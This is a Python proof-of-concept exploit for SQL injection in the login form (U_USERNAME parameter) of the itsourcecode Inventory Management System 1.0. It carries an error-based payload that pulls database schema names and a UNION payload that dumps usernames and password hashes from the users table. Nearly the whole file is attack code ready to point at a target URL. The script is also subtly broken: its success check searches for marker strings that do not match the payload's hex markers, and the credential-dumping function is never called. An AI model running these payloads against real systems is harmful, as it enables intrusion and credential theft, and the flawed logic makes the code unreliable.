import requests
import sys
# CVE-2025-13237 SQL Injection PoC
# Target: itsourcecode Inventory Management System 1.0
# Vulnerability: SQL Injection in /LogSignModal.PHP via U_USERNAME parameter
def exploit_sqli(target_url):
"""
SQL Injection exploitation via error-based technique
"""
endpoint = f"{target_url}/LogSignModal.PHP"
# Payload to extract database version
payload = "' AND (SELECT 7745 FROM(SELECT COUNT(*),CONCAT(0x71716b7a71,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x716a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLUMNS GROUP BY x)a)-- -"
data = {
'U_USERNAME': payload,
'U_PASSWORD': 'test',
'btnlogin': 'Login'
}
try:
print(f"[*] Sending exploit payload to: {endpoint}")
response = requests.post(endpoint, data=data, timeout=10)
if 'qiqzqz' in response.text or 'qjbsz' in response.text:
print("[+] SQL Injection successful! Database information extracted.")
return True
else:
print("[-] Exploitation failed or target not vulnerable.")
return False
except requests.RequestException as e:
print(f"[-] Error: {e}")
return False
def extract_users(target_url):
"""
Extract usernames and password hashes from users table
"""
endpoint = f"{target_url}/LogSignModal.PHP"
# Extract admin credentials
payload = "' UNION ALL SELECT NULL,CONCAT(0x71716b7a71,IFNULL(CAST(username AS CHAR),0x20),0x716a627a71,IFNULL(CAST(password AS CHAR),0x20),0x7178787a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users-- -"
data = {
'U_USERNAME': payload,
'U_PASSWORD': 'test',
'btnlogin': 'Login'
}
try:
print(f"[*] Extracting user credentials...")
response = requests.post(endpoint, data=data, timeout=10)
print(f"[+] Response received, check for extracted data.")
return response.text
except Exception as e:
print(f"[-] Error: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com/inventory")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sqli(target)